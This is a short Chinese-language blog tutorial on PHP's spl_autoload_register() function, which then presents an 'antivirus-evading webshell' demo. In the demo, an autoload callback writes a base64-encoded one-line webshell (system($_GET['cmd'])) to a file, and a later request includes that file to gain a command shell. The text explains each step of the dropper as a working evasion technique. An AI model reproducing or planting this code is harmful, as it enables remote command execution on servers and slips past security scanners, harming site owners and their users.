0x00 前言

参考自:https://mp.weixin.qq.com/s/WiqZEApL3nVgZDv7nJ4gOw

0x01 spl_autoload_register()函数

SPL是Standard PHP Library(标准PHP库)的缩写。它是PHP5引入的一个扩展库,其主要功能包括autoload机制的实现及包括各种Iterator接口或类。 SPL autoload机制的实现是通过将函数指针autoload_func指向自己实现的具有自动装载功能的函数来实现的。

spl_autoload_register()函数:注册给定的函数作为__autoload的实现。当尝试加载未定义的类时,就会调用SPL __autoload中注册的函数

支持版本:PHP 5 >= 5.1.0, PHP 7

函数定义:

1
spl_autoload_register ( callable $autoload_function = ? , bool $throw = true , bool $prepend = false ) : bool

参数说明:

  • autoload_function:欲注册的自动装载函数。如果没有提供任何参数,则自动注册 autoload 的默认实现函数spl_autoload()。

  • throw:此参数设置了 autoload_function 无法成功注册时, spl_autoload_register()是否抛出异常。

  • prepend:如果是 true,spl_autoload_register() 会添加函数到队列之首,而不是队列尾部。

0x02 免杀WebShell

Demo代码:

1
2
3
4
5
6
7
<?php
spl_autoload_register(function ($class_name){
file_put_contents(base64_decode("YWFh"), base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4='));
});
include('aaa');
new aaa();
?>

第一次访问:

  1. 先调用spl_autoload_register()函数注册一个__autoload的匿名函数,其中将<?php system($_GET['cmd']);?>(第二个Base64编码内容)内容写入名为aaa(第一个Base64编码内容)的文件中,注意这一步只是注册了这个匿名函数、并未执行函数中的代码逻辑;
  2. 包含aaa文件进来,但由于文件不存在因此报错;
  3. 新建一个aaa类实例,因为aaa类不存在,因此会去调用第一步中注册的匿名函数,其中将一句话木马写入了aaa文件中;

第二次访问,由于aaa文件已生成,成功包含该文件进而getshell(这里找不到aaa类的错误无需关注):